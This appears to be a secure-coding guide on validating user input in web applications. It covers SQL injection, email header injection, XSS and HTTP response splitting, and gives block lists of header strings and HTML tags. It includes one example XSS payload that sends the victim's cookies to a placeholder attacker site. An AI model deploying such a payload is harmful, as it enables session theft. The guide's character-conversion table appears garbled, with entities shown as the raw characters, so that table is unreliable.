The system must check all user input and try to be sure it is as close to the expected form as is possible. If the expected input is a whole number then only a whole number should be accepted. The system must check input for attempts to compromise the system deliberately. Errors should be corrected automatically where possible.
Several attacks may be used against applications when user input is not validated and sanitized. These include:
SQL injection - The attacker may be able to read the contents of your database or even modify it.
Email injection - The attacker may be able to send spam email using your thoughtfully provided contact tool.
Remote file include - The attacker may be able to include their own files in the program on your server and gain control over your program or server.
Cross site scripting - The attacker may be able to get client cookies and steal their sessions.
Remote command execution - The attacker attempts to execute commands on the server remotely.
Error checks should be done somewhat different based on the following functionality.
Ability to email
Check for: "apparently-to:", "bcc:", "cc:", "errors-to", "reply-to", "boundary=", "charset=", "content-disposition", "content-type", "content-transfer-encoding", "message-id", "mime-version", "multipart/mixed", "multipart/alternative", "multipart/related", "x-mailer", "x-sender", and "x-uidl". These strings should not be allowed in the content.
Check to be sure that only a single email address is entered into the line if only a single email addresses is expected. Strip out all whitespace including spaces, tabs, CR, new lines, nulls, and vertical tabs.
Check for additional input that may be imbedded in the body of an email such as the input checking below for embedded objects and special embedded characters.
All input that may be re-posted on a site, sent back to a user, or stored in a database must be checked as shown.
Check for: "<script>", "<applet>", "<object>", "<embed>". This prevents the ability for attackers to insert script that will allow an attacker site to collect user cookies, including session cookies, from the users so attackers may access user accounts. An example of what may be injected to attack users of your site is:
Input sent to the web server which a user may have some control over.
<script>document.location.href = 'http://www.hackersite.com/script.php?cookie=' + document.cookie"</script>
Convert characters as follows (in PHP HTMLSPECIALCHARS and mysql_real_escape_string functions may be used - mysql_real_escape_string prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a):
'&' (ampersand) becomes '&'
'"' (double quote) becomes '"'
''' (single quote) becomes '''
'<' (less than) becomes '<'
'>' (greater than) becomes '>'
'"' becomes '\"' (\ not inserted into database)
''' becomes '\'' (\ not inserted into database)
'\' becomes '\\' (extra \ not inserted into database)
'(' becomes '('
')' becomes ')'
'#' becomes '#'
Use white lists when checking whether the response is proper rather than black lists. In other words, look for the correct input and correct or reject all incorrect input. If a user should be entering a single email address, check to be sure the input is only a single input address.
Any input that can come from the user and may be used in an HTTP header must check for characters in the input that could be malicious including CR LF \r\n %0d%0a or any other forms of encoding these or other such malicious characters. This can prevent an HTTP response splitting attack.
An HTTP response splitting attack can cause a web server to send data back to a user which may be partly or completely controlled by an attacker. Two requests are sent to the web server where the second is sent almost immediately after the first request. The first request is sent to a redirect script on the server with additional content tacked onto it. The additional content will look like a second response from the server. Therefore, the response to the second request will appear to be the additional content tacked onto the first request by the attacker. When the actual correct response is received, it will be ignored since the browser thinks it already has the response.
The browser will cache the improper response created by the attacker but this may be the response on the attackers computer. If this is a shared computer, another victim that goes to that page requested in the second request will receive the response created by the attacker which is stored in the browser's cache. Some businesses use a web proxy or web cache device to save bandwidth. If this attack is performed on a network which uses a cache proxy server, the cache proxy server will store the response created by the attacker and send it to any other users that request that page.
The system should check all input for errors on the client side and allow the client to correct errors before the input is sent to the server.
Only valid input may be processed.